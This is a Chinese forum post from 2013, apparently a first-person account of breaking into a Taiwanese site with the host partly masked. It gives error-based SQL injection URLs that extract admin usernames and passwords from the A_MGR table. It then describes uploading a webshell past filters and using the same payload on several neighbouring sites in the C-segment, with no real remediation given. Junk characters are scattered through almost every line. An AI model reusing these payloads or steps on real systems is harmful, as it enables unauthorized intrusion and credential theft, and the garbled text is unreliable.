发现一个注入点
6 |" [1 b# S, ] I: Rhttp://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389; o3 U: K) E% o- s4 M6 N
2 n/ g3 p+ c# y6 C5 r2 j3 Z习惯性的加’having1=1--$ b N$ T2 I9 U' S) r$ {
' {2 R! |- ?4 h& \) k* Y5 Z
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1— a) _1 _' @# l& |# U+ ~' y
0 ^1 r8 |) a% A( y$ b' ^
0- X; l: |- R0 e; g; ~
1 ~! z, O) Y: o6 E4 [
爆出Diary_A.dl_Title（这时候很激动啊）
7 Y' b3 K) H( [
" L4 e9 \9 ?. |8 j. t+ R; Z/ `那么继续
9 {& N. K% T8 W; z* i& `http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—9 U5 x4 i3 h% k$ I6 |' r4 u8 e
8 g {+ U( e9 _- L& _9 _继续，一直爆下去 J t9 T! D/ ^6 b" I$ S; M8 ^- {
' k! `9 o/ M/ }) z2 S2 D7 `爆到几个字段和表段 但是没找到需要的管理用户的字段
" D) @+ _) K' e* V( m! R3 R" W4 X9 R; g% b% E
蛋疼了 怎么办 然后去后台登陆页看源码( X! r$ M1 D- M6 s' {0 S7 ~6 q
* b( _8 P! T% l6 o0! ~9 f c$ A% G9 b4 `3 h& J/ {: c, t
& f: I' R4 n* ^- b. Q5 n3 r( MInput name= “ADUID” w U, u8 j: o2 Q
Input name= “ADPWD”
; V3 H% D% A1 j2 Y& N4 f6 D
$ e# @) S; d+ f5 S( [很幸运 找到了字段那就继续
5 o$ v3 _" ~. t1 W( s+ f" B0 ~% P4 T# j找到之后开始爆用户' N6 E5 L- K0 s9 K1 ~5 K2 _
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—" `9 h+ w4 t, p6 Y2 t& A
爆密码! m/ k5 i* A1 N5 M! k2 @0 N
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
: U4 u" x; J8 ~1 M; J! q, n测试了下 这个注入点只能爆到文章哪里的表
% U0 R2 M2 n$ s
+ W; P) ^1 Q7 r `+ f _头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了
2 @8 a# Y5 d' B w$ r* M# r/ ^: @5 k4 C
又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了$ [# I6 R0 L' D3 [
$ m% g5 u/ p7 }8 ?3 T5 i6 q4738 |) r' a. _ S
, V. I% W: I" q" q7 w/ `" ]
进后台
% \9 |' l4 U+ M* P! H m( Q
) _0 X, X- F S7 j1 ]
* ~/ V6 T5 _0 w# @$ D9 y' f( }- Q! ?发现几个上传点 有的地方不能上传 而且防止恶意代码
* }5 v/ @( Y$ e: u; i. X' l$ u% c0 V4 k# S' t- a8 X6 e8 C2 r
没办法 各种百度各种找大牛 找到一只好像可以突破的马4 y* A( z ^) Z8 d4 j
. j+ K, ^; h7 `+ E5 I( f
) k+ U* B" x- I$ J0 }在系统管理那里直接上传 不过没有显示地址8 X. I9 U: o& ^0 N4 s4 }4 I
; \9 U4 b5 |7 [再上传一次 抓包 搞定OK
) ~3 v9 c0 u" M8 L s
8 x8 L9 }4 e' h2 M2 Z9 g( _1 P" J7 ]- U
8 Y3 \! O" ^ o
472
' n/ r1 ?( A3 ]3 M; v- _: x$ ?7 \$ ]
晚上不行了 去睡觉。。。
2 q1 K( G7 F% d- j8 s第二天刚起床 闲的没事做继续日站吧 1 j8 j! t' n0 C' C- x( k
( ]/ A1 J" \) Q& Z3 }找个站 就把这个站的旁c扫了下* ^( }4 k7 ~5 `) [8 r9 K% e
) y: k" _- Y9 E: |9 n( v
发现c段也有一个购物站 ，然后还和这个站的模板差不多
2 k) r) R7 \/ ~9 e1 i3 W! n
9 }0 i6 s, n8 G' ^5 g1 K就找到会员登录口测试
: _/ n6 M. H0 f% j( n" G+ M+ X
Q0 r# Z0 }" j2 O+ {'and (select top 1 MGR_UID from A_MGR)>0—
- {$ {7 D2 c! u9 x5 `* Z1 P+ u果断爆到了 这时候我很激动 通杀
5 v6 h+ ?1 u2 |9 d
) b( v2 z9 J* g+ \& Y再次翻c段: v( I) n4 _9 K
; M) U- i1 ^* t: x( b) P8 A
翻出几个站 都成功拿下
; U" ~2 ` {- L# W
; w2 R9 {! M- \7 D; ]7 p( [: d2 y! u5 u/ E9 ?9 B
, w0 V ~/ s0 u
修复方案：& R2 W" Z7 J5 b8 w$ }
他们比我专业
, i" P7 X% J8 x) ^, F, o" Z$ i/ H! Q8 R+ m
& ]2 q U, F9 I. E4 {$ C
# N, M" v, Z8 V. Y |
发表于 2013-4-4 17:40:38
收藏
支持
反对